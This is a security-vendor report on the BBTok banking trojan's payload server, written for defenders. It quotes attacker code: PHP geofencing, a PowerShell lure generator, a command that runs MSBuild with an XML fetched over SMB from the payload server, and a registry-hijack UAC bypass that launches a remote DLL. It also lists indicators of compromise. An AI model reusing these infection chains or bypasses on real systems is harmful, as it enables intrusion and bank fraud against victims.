Behind the Scenes of BBTok: Analyzing a Banker’s Server Side Components

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Introduction

Check Point Research recently discovered an active campaign operating and deploying a new variant of the BBTok banker in Latin America. In the research, we highlight newly discovered infection chains that use a unique combination of Living off the Land Binaries (LOLBins). This resulting in low detection rates, even though BBTok banker operates at least since 2020. As we analyzed the campaign, we came across some of the threat actor’s server-side resources used in the attacks, targeting hundreds of users in Brazil and Mexico.

The server-side components are responsible for serving malicious payloads that are likely distributed through phishing links. We’ve observed numerous iterations of the same server-side scripts and configuration files which demonstrate the evolution of the BBTok banker deployment methods over time. This insight allowed us to catch a glimpse of infection vectors that the actors have not yet implemented, as well as trace the origins of the source code employed for sustaining such operations.

In this report, we highlight some of the server-side functionalities of the payload server which are used to distribute the banker. Those allow to generate unique payloads to each of the victims, generated upon a click.

Key Findings

  1. BBTok continues being active, targeting users in Brazil and Mexico, employing multi-layered geo-fencing to ensure infected machines are from those countries only.
  2. Since the last public reporting on BBTok in 2020, the operators’ techniques, tactics and procedures (TTPs) have evolved significantly, adding additional layers of obfuscation and downloaders, resulting in low detection rates.
  3. The BBTok banker has a dedicated functionality that replicates the interfaces of more than 40 Mexican and Brazilian banks, and tricks the victims into entering its 2FA code to their bank accounts or into entering their payment card number.
  4. The newly identified payloads are generated by a custom server-side application, responsible for generating unique payloads for each victim based on operating system and location.
  5. Analysis of payload server-side code revealed the actors are actively maintaining diversified infection chains for different versions of Windows. Those chains employ a wide variety of file types, including ISO, ZIP, LNK, DOCX, JS and XLL.
  6. The threat actors add open-source code, code from hacking forums, and new exploits when those appear (e.g. Follina) to their arsenal.

Background

The BBTok banker, first revealed in 2020, was deployed in Latin America through fileless attacks. The banker has a wide set of functionalities, including enumerating and killing processes, keyboard and mouse control and manipulating clipboard contents. Alongside those, BBTok contains classic banking Trojan features, simulating fake login pages to a wide variety of banks operating in Mexico and Brazil.

Since it was first publicly disclosed, the BBTok operators have adopted new TTPs, all while still primarily utilizing phishing emails with attachments for the initial infection. Recently we’ve seen indications of the banker distributed through phishing links, and not as attachments to the email itself.

Upon accessing the malicious link, an ISO or ZIP file is downloaded to the victim’s machines. Those contain an LNK file that kicks off the infection chain, leading to the deployment of the banker while opening a decoy document. Although the process appears to be quite straightforward upon first glimpse, we’ve found evidence that there’s a lot going on behind the scenes.

While analyzing these newly identified links, we’ve uncovered internal server-side resources used to distribute the malware. Looking at those, it became evident the actor has maintained a much wider variety of infection chains, generated on demand with each click, tailored to match the victim’s operating system and location.

BBTok Banking Hijacks

BBTok enables its operators a wide set of capabilities, ranging from remote commands to classic banking Trojan capabilities. BBTok can replicate the interfaces of multiple Latin American banks. Its code references over 40 major banks in Mexico and Brazil, such as Citibank, Scotibank, Banco Itaú and HSBC (see Appendix B for the full list of targeted banks). The banker searches for indications of its victims being clients of those banks by iterating over the open windows and names of browser tabs, searching for bank names.

The default target the banker apparently aims at is BBVA, with the default fake interface aiming to replicate its looks. Posing as legitimate institutions, these fake interfaces coax unsuspecting users into divulging personal and financial details. The focus of this functionality is tricking the victim into entering the security code/ token number that serves as 2FA for bank account and to conduct account takeovers of victim’s bank account. In some cases, this capability also aims to trick the victim into entering his payment card number.

Figure 1 – Examples of fake interfaces embedded within the BBTok Banker.

BBTok, which is written in Delphi, uses the Visual Component Library (VCL) to create forms that, quite literally, form these fake interfaces. This allows the attackers to dynamically and naturally generate interfaces that fit the victim’s computer screen and a specific form for the bank of the victim, without raising suspicion. BBVA, which is the default bank the banker targets, has its interface stored in one such form named “TFRMBG”. In addition to Banking sites, the attackers have kept up with the times and have also started searching for information regarding Bitcoin on the infected machine, actively looking for strings such as ‘bitcoin’, ‘Electrum’, and ‘binance’.

BBTok doesn’t stop at visual trickery; it has other capabilities as well. Specifically, it can install a malicious browser extension or inject a DLL named “rpp.dll” to further its hold on the infected system, and likely to improve its capabilities to trick the victims. Those were not available during the time of analysis.

What’s notable is the operator’s cautious approach: all banking activities are only executed upon direct command from its C2 server, and are not automatically carried out on every infected system.

Payload Server Analysis

Overview of the Payload Server

To effectively manage their campaign, the BBTok operators created a unique flow kicked off by the victim clicking a malicious link, likely sent in a phishing email. When a victim clicks the link, it results in the download of either a ZIP archive or an ISO image, depending on the victim’s operating system. Although the process is seamless for the victim, the server generates a unique payload based on parameters found within the request.

Figure 2 – Server-side components used in BBTok infections.

This process is carried out on a XAMPP-based server, and contains three essential components:

  1. A PowerShell script that handles payload preparation and contains the main bulk of the logic for creating lure archives.
  2. A PHP codebase and database designed to document and manage infections.
  3. Auxiliary utilities that enhance the functionality of these components.

This is the chain of events:

  1. A victim performs an HTTP request to either /baixar, /descargar or /descarga (these paths suggest that the lures are in either Spanish or Portuguese).
  2. Based on the .htaccess file, the server handles the request using descarga.php.
  3. The scripts utilize the file db.php to store information via an SQLite database about the request, including the victim’s fingerprint.
  4. Descarga.php calls ps_gen.ps1 to generate a custom archive, which is eventually delivered to the victim.

Incoming Requests Handling

The PHP codebase is composed of the following files:

  1. descarga / descargar.php – Manages new connections and serves lure documents to the victim’s PC.
  2. db.php – Generates and manages the SQLite database that includes the victim’s details.
  3. generator.php – Utility class used to generate random links, strings, and other functionalities.

“Descarga” and “descargar” translate to “download” in Spanish. This file contains the main logic of the infection process. The script itself contains many comments, some of them in plain Spanish and Portuguese, which provide hints as to the attackers’ origin.

The script logic:

  1. It checks the geolocation of the link-referred victim against ip-api.com and stores it in a file. If the victim isn’t from a targeted country (i.e., Mexico or Brazil) the HTTP connection ends immediately with a 404 message.
$api = new IpApi();
$whoAmI = $api->GetInfo($ip);
$allowed = array("MX", "BR");
file_put_contents("ips/".$ip.$whoAmI->countryCode, "");
if(!in_array($whoAmI->countryCode, $allowed)) {
    http_response_code(404);
    die();
}

2. If the victim passes the check, the script then parses the user agent to get the victim’s Windows OS version.

$useragent = strtolower(htmlspecialchars($_SERVER['HTTP_USER_AGENT']));
$match = false;
$dfile = "10";
$dfiles = array (
    'windows nt 10.0' => '10',
    'windows nt 6.3' => '10',
    'windows nt 6.2' => '10',
    'windows nt 6.1' => '7',
    'windows nt 6.0' => '7',
    'windows nt 5.2' => '7'
);
foreach($dfiles as $os=>$file) {
    if (preg_match('/' . $os . '/i', $useragent)) {
        $match = true;
        $dfile = $file;
        break;  
    }
}

3. It then passes the user agent with the victim’s country code and lure filename to the PowerShell payload generator script.

PowerShell Payload Generator

The script ps_gen.ps1 contains the main logic for generating archive payloads, either as ZIP or ISO files. The latest version of the code has a lot of commented-out sections that were likely functional in the past, which suggests they contain additional infection chains and lures. We found multiple versions of the file, some dating back to July 2022, demonstrating that this operation has been ongoing for quite a while.

Our analysis of the latest version is below. For more details on earlier variations and changes to the script over time, see the section “Earlier Versions.”

The generator script is called by descarga.php, using the function DownloadFile with the arguments file_name, ver and cc. These correspond to the generated archive name, the victim’s OS version and the victim’s country code.

 function DownloadFile($file_name, $ver, $cc) {
    if($ver == "10" )
    {
        $ext = "iso";
    } else {
        $ext = "zip";
    }
    exec('powershell -ex Bypass -File ./ps_gen.ps1 '.$file_name.' '.$ver.' '.$cc);
    return $file_name.'.'.$ext;
}

The code portions utilized in the observed iteration of the server generate the archive payloads based on two parameters:

  1. The origin country of the victim – Brazil or Mexico.
  2. Operating System extracted from the User-Agent – Windows 10 or 7.

According to the results, the following parameters of the malicious archive are selected:

  1. Type of the archive: ISO for Windows 10, ZIP for Windows 7, and others.
  2. The name of the DLL file that is used in the next stage changes according to the targeted country: Trammy is used for Brazil, and Gammy is used for Mexico.
  3. The archive contains an LNK. The LNK shortcut icon in Windows 10 is the one used by Microsoft Edge, and the one for Windows 7 is used by Google Chrome.
  4. The final execution logic. For Windows 10 victims, the script executes MSBuild.exe with a file named dat.xml from the server 216[.]250[.]251[.]196, which also stores the malicious DLLs for the next stage. For Windows 7, the payload just downloads the relevant remote DLL via CMD execution.
$shortcutName = $args[0]
$win = $args[1]
$country = $args[2]
$stegoKey = New-StegoKey 35

if($country -eq “BR”) {

$dllName = ‘Trammy’

} else {

$dllName = ‘Gammy’

}


if($win -eq “10”) {

$wstate = 7

$shortcutIconLocation =  “C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe”

CopyMSBuild($shortcutName)

} else {

$wstate = 7

$shortcutIconLocation =  “C:\Program Files (x86)\Google\Chrome\Application\chrome.exe”

}

Add-PoshObfuscation

All payloads are obfuscated using the Add-PoshObfuscation function. A simple search for parts of the code yields a single result from the “benign” site hackforums[.]net, specifically a response from a user named “Qismon” in August 2021. This individual recommends some methods to bypass AMSI and security products, and also shares the PoshObfuscation code:

Figure 3 – Add-PoshObfuscation() code shared in hackforums[.]net.

Infection Chains and Final Payload

The process described above eventually leads to two variations of the infection chain: one for Windows 7 and one for Windows 10. The differences between the two versions can be explained as attempts to avoid newly implemented detection mechanisms such as AMSI.

*ammy.dll Downloaders

Both infection chains utilize malicious DLLs named using a similar convention – Trammy, Gammy, Brammy, or Kammy. The latter are leaner and obfuscated versions of BBTok’s loader that use geofencing to thwart detection before executing any malicious actions. The final payload is a new version of the BBTok banker. As documented previously, BBTok comes packed with multiple additional password-protected software. These allow the actors full access to the infected machine, and additional functionalities.

Windows 7 Infection Chain

Figure 4 – Windows 7 Infection Chain.

The infection chain for Windows 7 is not unique and consists of an LNK file stored in a ZIP file. Upon execution, the LNK file runs the *ammy.dll payload using rundll32.exe, which in turn downloads, extracts, and runs the BBTok payload.

Windows 10 Infection Chain

Figure 5 – Windows 10 Infection Chain.

The infection chain for Windows 10 is stored in an ISO file containing 3 components: an LNK file, a lure file, and a renamed cmd.exe executable. Clicking the LNK file kicks off the infection chain, using the renamed cmd.exe to run all the commands in the following manner:

DANFE352023067616112\DANFE352023067616112.exe /c copy %cd%\DANFE352023067616112\DANFE352023067616112.pdf %userprofile%\DANFE352023067616112.pdf /Y & start %userprofile%\DANFE352023067616112.pdf & C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -nologo \\216.250.251.196\file\dat.xml

The infection chain:

  1. Copy the lure file to the folder %userprofile% and open it.
Figure 6 – Lure document dropped in BBTok infection.
  1. Run MSBuild.exe to build an application using an XML stored on a remote server, fetched over SMB.
  2. MSBuild.exe creates a randomly named DLL, which in turn downloads *ammy.dll from the server and runs it with a renamed rundll32.exe(mmd.exe), as seen in the XML contents:
private void ByFD() {
    String reg = "/c REG ADD HKCU\\Software\\Classes\\.pwn\\Shell\\Open\\command -ve /d \"C:\\ProgramData\\mmd.exe \\\\216.250.251.196\\file\\Trammy.dll, Dacl & REG DELETE HKCU\\Software\\Classes\\ms-settings /f & REG DELETE HKCU\\Software\\Classes\\.pwn /f\" /f & REG ADD HKCU\\Software\\Classes\\ms-settings\\CurVer -ve /d \".pwn\" /f & timeout /t 3 >nul & start /MIN computerdefaults.exe"; 
    StartProcess("cmd.exe", reg); }
  1. The *ammy.dll downloader downloads, extracts, and runs the BBTok payload.

The unique combination of renamed CMD, MSBuild, and file fetching over SMB results in a low detection rate for the Windows 10 infection chains.

Earlier Versions

Throughout our analysis of the BBTok campaign, we came across multiple versions of the artifacts from the payload server. We saw changes in all parts of the operation: the PHP code, the PowerShell script, and other utilities.

Changes in the PHP Code

Looking at an earlier version of the descarga.php script, we saw a few key differences:

  1. Originally, only victims from Mexico were targeted.
  2. The IP of a different payload server, 176[.]31[.]159[.]196, was hard-coded in the script.
  3. Instead of executing the PowerShell script directly, a script named gen.php was called. We were unable to obtain this script, but believe it simply executed the PowerShell script.
  4. The victim’s IP address, user agent, and a flag (jaBaixou, or ‘already downloaded’ in Portuguese) were inserted into a database, using the db.php file. The flag is later checked to not serve the same payload twice.

As this section is not used in the latest version, it is possible that the attackers found this process cumbersome and decided to trade OPSEC for easier management and a higher chance of infection success.

Modifications of the PowerShell Script

Looking at older versions of the PowerShell script, it was clear that numerous changes were done to the payload and execution chain. Some noteworthy ones include:

  1. In the earliest versions of the script, the LNK simply ran a PowerShell script with the arguments -ExecutionPolicy Unrestricted -W hidden -File \\%PARAM%[.]supplier[.]serveftp[.]net\files\asd.ps1.
  2. A later update added the lure PDF, fac.pdf (“fac” is an abbreviation of “factura”, which is “invoice” in Portuguese). This is a legitimate receipt, in Spanish, from the county of Colima in Mexico. Additionally, the payload for Windows 7 victims launched a legitimate Mexican government site, hxxps://failover[.]www[.]gob[.]mx/mantenimiento.html.
  3. The newest version we found opens a different legitimate site, hxxps://fazenda[.]gov[.]br, a Brazilian government site. This version also changes the XML file used by MSBuild and changes the name of the DLL reserved for Brazilian targets from Brammy.dll to Trammy.dll.

Unused Code and Infection Vectors

Certain sections of the code within the PowerShell script were unused, and the server hosted files that were not part of the primary infection flow we discussed. In particular, we did not discover any indication of active usage of the following:

  1. ze.docx is a document that exploits the Follina CVE (2022-30190). It is referenced in the PowerShell script in a function named CreateDoc.
  2. xll.xll, which is referenced by CreateXLL, is a malicious xll taken from the open-source project https://github.com/moohax/xllpoc, which implements code execution via Excel.
  3. Numerous empty JavaScript files were found on the server, likely to be used by a function named CreateJS. The file referenced in the function, b.js, was empty, so it is unclear whether this function was previously used or was never fully implemented.
  4. Multiple bat files were located on the server, each with a different implementation of downloading next stages. These were most likely created by a function named CreateBat, which is commented out in the latest version of the PowerShell script. Most of them are almost identical to the code in the ByFD function we analyzed previously, excluding two noteworthy past iterations:
    1. The oldest bat file downloaded another PowerShell script as a next stage (which wasn’t publicly available anymore) instead of editing the registry;
    2. A later bat file used the fodhelper UAC bypass instead of the computerdefaults one which is currently being used.

Victimology and Attribution

Our analysis of the server-side component also sheds light on one of the recent campaigns as seen from the threat actors’ side, based on a database we found that documents access to the malicious application. The database is named links.sqlite and is pretty straightforward. It contains over 150 entries, all unique, with the table headers corresponding to the ones created by db.php. Note the use of the Portuguese language and the names of the 4 rows:

  1. chave, or key;
  2. assunto, or subject;
  3. user_agent ;
  4. baixou, or downloaded.

The column named chave contained the IP addresses of the victims, and the column assunto was empty:

Figure 7 – Links.sqlite database.
Figure 8 – Attack region.

As the server code was never meant to be seen by anyone except the threat actors, and it contained numerous comments in Portuguese, we believe this indicates that with a high probability the threat actors are Brazilians, which is known for its active banking malware eco-system.

Conclusion

Although BBTok has been able to remain under the radar due to its elusive techniques and targeting victims only in Mexico and Brazil, it’s evident that it is still actively deployed. Due to its many capabilities, and its unique and creative delivery method involving LNK files, SMB and MSBuild, it still poses a danger to organizations and individuals in the region.

It is rare for security researchers to get an up-close look at the attackers’ workbench, and even rarer to get glimpses of it as it evolved over time. What we saw reinforces our belief that all threat actors, including financially motivated ones, are constantly evolving and improving their methods, as well as following new security trends and trying out fresh ideas and opportunities. To keep up and protect against future attacks, security researchers must do the same.

Check Point Protections

Check Point Threat Emulation:

  • Banker.Wins.BBTok.A
  • Banker.Win.BBTok.B
  • Technique.Wins.SuxXll.A
  • Trojan.Win.XllAddings.A

Harmony Endpoint:

  • Trojan.Win.Generic.AQ
  • Trojan.Win.Generic.AR

Appendix A – IOCs

Files

NameDescriptionsha256
DANFE357702036539112.isoBrazilian Lure Archivebe36c832a1186fd752dd975d31284bdd2ac3342bd3d32980c6c52271d0d2c84c
DANFE357666506667634.isoBrazilian Lure Archive095b793d60ce5b15fac035e03d41f1ddd2e462ec4fa00ccf20553af3c09656f6
DANFE352023067616112.isoBrazilian Lure Archive8e65383a91716b87651d3fa60bc39967927ab01b230086e3c5a2f9a096fc6c57
DANFE358567378531506.pdfBrazilian Lure PDF825a5c221cb8247831745d44b424954c99e9023843c96def6baf84ccb62e9e5f
Brammy.dllBBTok Downloader for Brazilian Victimse5e89824f52816d786aaac4ebdb07a898a827004a94bee558800e4a0e29b083a
Trammy.dllBBTok Downloader for Brazilian Victims07028ec2a727330a3710dba8940aa97809f47e75e1fd9485d8fc52a3c018a128
HtmlFactura3f48daa069f0e42253194ca7b51e7481DPCYKJ4Ojk.isoMexican Lure Archive808e0ddccd5ae4b8cbc4747a5ee044356b7aa67354724519d1e54efb2fc4f6ec
HtmlFactura-497fc589432931214ed0f7f4de320f3brzi8y1MTdn.isoMexican Lure Archivef83b33acfd9390309eefb4a17b42e89dcdbe759757844a3d9b474d570ddbab86
HtmlFactura-4887f50edb734a49d33639883b60796do52lTREjMh.isoMexican Lure Archivedbeb4960cdb04999c1a5a3360c9112e3bc1de79534d7ac9027b7fdb7798968a6
Html-Factura35493606948895934113728188857090JCOY.pdfMexican Lure PDFbe35b48dfec1cc2fc046423036fa76fc9096123efadac065c80361c45f401d3c
Kammy.dllBBTok Downloader for Mexican Victims9d91437a3bfd37f68cc3e2e2acfbbbbfffa3a73d8f3f466bc3751f48c6e1b40e
Gammy.dllBBTok Downloader for Mexican Victimsd9b2450e4b91739c39981ab34ec7a3aeb33fb3b75deb45020b9c16596a97a219
ze.docxUnused Maldoc3b43de8555d8f413a797e19c414a55578882ad7bbcb6ad7604bb1818dd3eedcd
xll.xllUnused Malicious xllfb7a958b99275caa0c04be2a821b2a821bb797c4be6bd049fa09144de349ea41
feBBTokcd22e14f4fa6716cfc9964fdead813d2ffb80d6dd716e2114f987ff36cc5e872
fe2BBTok5c59cd977890ed32eb60caca8dc2c9a667cff4edc2b12011854310474d5f405d
fe2BBTok5ad42b39f368a25a00d9fe15fa5326101c43bf4c296b64c1556bc49beeee9ae1
fe235BBTokb198da893972df5b0f2cbcec859c0b6c88bb3cf285477b672b4f40c104bcbd36

Network Indicators

NameDescription
danfe[.]is-certified[.]comPhishing Domain
rendinfo[.]shopPhishing Domain
sodkvsodkv[.]supplier[.]serveftp[.]netMalicious DLL Download Domain
216[.]250[.]251[.]196Payload Server
173[.]249[.]196[.]195Payload Server
176[.]31[.]159[.]196Payload Server
147[.]124[.]213[.]152Payload Server

Appendix B – List of Targeted Banks

Banking CaixaCCB Brasil
Banco ItaúMercantil do Brasil
SantanderBANCO PAULISTA
GetnetBanco Daycoval
SicrediMercado Pago
SicoobNubank
Citibank BrasilC6 Bank
Internet Banking BNBInternet Banking Inter
Unicred PortalBancoob
Banco da AmazoniaBBVA
BanestesBanorte
Banco AlfaHSBC
BanparáBanamex
BaneseBajio
BRB BanknetScotiabank
Banco IntermediumAfirme
Banco TopázioBanregio
UniprimeAzteca
Cooperativa de Crédito – CrediSISMultiva
Banco OriginalInbursa
Banco FibraCiBanco
Bradesco Despachantes e Auto Escola – CidadetranSicoobnet
Navegador ExclusivoBanco do Brasil

The post Behind the Scenes of BBTok: Analyzing a Banker’s Server Side Components appeared first on Check Point Research.

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